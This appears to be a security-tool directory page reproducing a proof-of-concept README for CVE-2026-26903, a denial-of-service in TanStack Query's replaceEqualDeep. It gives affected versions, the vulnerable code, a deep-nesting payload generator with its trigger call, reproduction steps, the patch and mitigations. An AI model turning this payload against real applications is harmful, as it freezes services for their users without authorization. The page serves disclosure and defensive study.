Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-26903-PoC — A PoC for demonstrating CVE-2026-26903 | Kitploit
Tools/GitHubGitHub/john-jung/cve-2026-26903-poc
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

A PoC for demonstrating CVE-2026-26903

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-26903 PoC

Denial-of-service via unbounded recursion in TanStack Query's replaceEqualDeep function

A single crafted query update with deeply nested objects can freeze the JavaScript thread indefinitely, causing complete application unresponsiveness. No authentication or special permissions are required.

Affected Versions

This vulnerability was fixed in @tanstack/[email protected] via PR #10032, published on January 14, 2026.

PackageAffectedFixed
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-querydepends on vulnerable query-core5.90.18+
@tanstack/vue-querydepends on vulnerable query-core5.90.18+
@tanstack/solid-querydepends on vulnerable query-core5.90.18+
@tanstack/svelte-querydepends on vulnerable query-core6.1.7+

Official Description

CVE-2026-26903: Denial of Service via unbounded recursion in replaceEqualDeep (Severity: Medium)

The replaceEqualDeep function in TanStack Query performs recursive comparison of nested objects without depth limits. When processing deeply nested data structures, this can trigger unbounded recursion leading to stack overflow and application freeze.

— Assigned via MITRE

Vulnerability Summary

TanStack Query's replaceEqualDeep function is used internally to determine if query data has actually changed, optimizing re-renders by preserving object references when possible. The function recursively traverses object properties to perform deep equality comparison.

The Problem

The recursive implementation lacks depth limits or cycle detection:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Attack Mechanism

  1. Trigger: Any query update that passes through replaceEqualDeep with deeply nested data
  2. Payload: Objects nested to 5,000+ levels deep
  3. Impact: Immediate JavaScript thread freeze, complete UI unresponsiveness
  4. Persistence: Application remains frozen until page reload

Attack Surface

  • Direct: useQuery hooks with nested response data
  • Indirect: setQueryData, invalidateQueries, or any query cache operation
  • Client-side: No server involvement needed — purely client-side DoS

Repository Structure

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

Reproduction Steps

1. Clone and setup

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Run the Node.js PoC (stack overflow crash)

root@kitploit:~
node poc.js

3. Expected output

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Run the Browser PoC (interactive visual demo)

root@kitploit:~
open tanstack-query-poc.html
  1. Verify app is responsive:
    • Click the counter button
    • Type in the input field
    • Observe the live timer counting
  2. Trigger the DoS:
    • Click "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Result: Timer stops, buttons become unresponsive, page freezes

Detailed Testing

Option A: Standalone HTML demo (no dependencies)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Option B: React application (realistic scenario)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

Expected Behavior

Before Attack:

  • Counter button increments
  • Live timer updates every second
  • Input field responds to typing
  • All UI interactions work normally

After Attack:

  • Timer freezes at current value
  • Counter button stops responding
  • Input field becomes unresponsive
  • Console shows no errors (thread is blocked, not crashed)
  • Only solution: Browser tab/window reload

How the Exploit Works

The PoC generates deeply nested objects and triggers replaceEqualDeep to process them:

1. Payload Generation

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Attack Trigger

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. Recursion Chain

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

Each recursive call adds a new stack frame until the JavaScript engine's call stack is exhausted, freezing the thread.

Vulnerable Code

Location: @tanstack/query-core/src/utils.ts (approximate)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Patch

The fix (applied in TanStack Query commit 269351b) adds a depth limit to prevent unbounded recursion:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Key changes:

  1. Added depth parameter with default value 0 to track recursion depth
  2. Added depth limit check — returns b immediately if depth > 500
  3. Incremented depth in recursive calls — replaceEqualDeep(aItem, bItem, depth + 1) This simple fix prevents stack overflow while allowing reasonable nesting (500 levels is more than sufficient for real-world data structures).

Mitigation

Temporary Workarounds

  1. Flatten deeply nested data before passing to TanStack Query
  2. Implement custom comparison functions with depth limits
  3. Monitor query data complexity in development

Proper Fix

Implement depth limiting in replaceEqualDeep:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

Or use iterative traversal instead of recursion.

References

  • GitHub Security Advisory

Disclaimer

This proof-of-concept is provided for educational and authorized security testing purposes only. Use it responsibly and only against applications you own or have explicit permission to test. The authors are not responsible for any misuse of this information.

Download Tool